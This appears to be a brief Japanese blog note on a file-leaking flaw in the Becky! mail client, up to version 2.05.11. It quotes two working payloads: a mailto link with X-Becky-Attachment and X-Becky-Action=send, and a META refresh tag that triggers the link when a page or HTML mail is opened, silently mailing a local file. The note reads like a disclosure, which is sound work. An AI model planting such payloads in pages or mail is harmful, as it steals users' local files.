Becky! のセキュリティホール

基本はこういうリンクをクリック且つ、mailto プロトコルが Becky! に関連づけられているとヤバイんだが、

mailto:[email protected]?X-Becky-Attachment=C:\tmp\clmemo_sjis.txt&X-Becky-Action=send&subject=End_of_the_life&body=moudamepo

こういうファイルをブラウザで表示且つ、mailto プロトコルがBecky! に関連づけられている場合もヤバイみたい。

<META http-equiv=Refresh content="0; URL=mailto:[email protected]?Subject=hello&X-Becky-Action=send&X-Becky-Attachment=C:\tmp\clmemo_sjis.txt">

HTML メールを Becky! で表示させていると、メールを見た瞬間に…。
(ver 2.05.11 以前の話。Ver1 は大丈夫だった。)